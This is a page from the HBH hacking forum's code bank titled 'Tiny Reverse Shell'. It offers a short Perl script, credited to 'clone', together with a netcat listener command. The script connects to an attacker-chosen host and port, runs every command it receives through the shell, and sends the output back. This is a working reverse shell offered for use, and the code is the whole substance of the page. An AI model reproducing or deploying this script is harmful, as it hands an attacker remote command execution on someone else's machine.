Welcome to HBH! If you had an account on hellboundhacker.org you will need to reset your password using the Lost Password system before you will be able to login.

Tiny Reverse Shell - Perl Code Bank


Tiny Reverse Shell
Reverse shell, based on the Julius Plenz reverse shell. Connects to specified port and executes everything send to it. Very efficient with netcat, however doesn't run interactive shell...
                #!/usr/bin/perl
#by clone

#for this example netcat use would be:
#nc -v -l -p 3333 

use IO::Socket;

#change this according to yourself
my $sock = IO::Socket::INET->new(PeerAddr => 'localhost',PeerPort => 3333, Proto =>'tcp');

while (defined($a=<$sock>)){print $sock qx($a);}
close $sock;

            
Comments
Sorry but there are no comments to display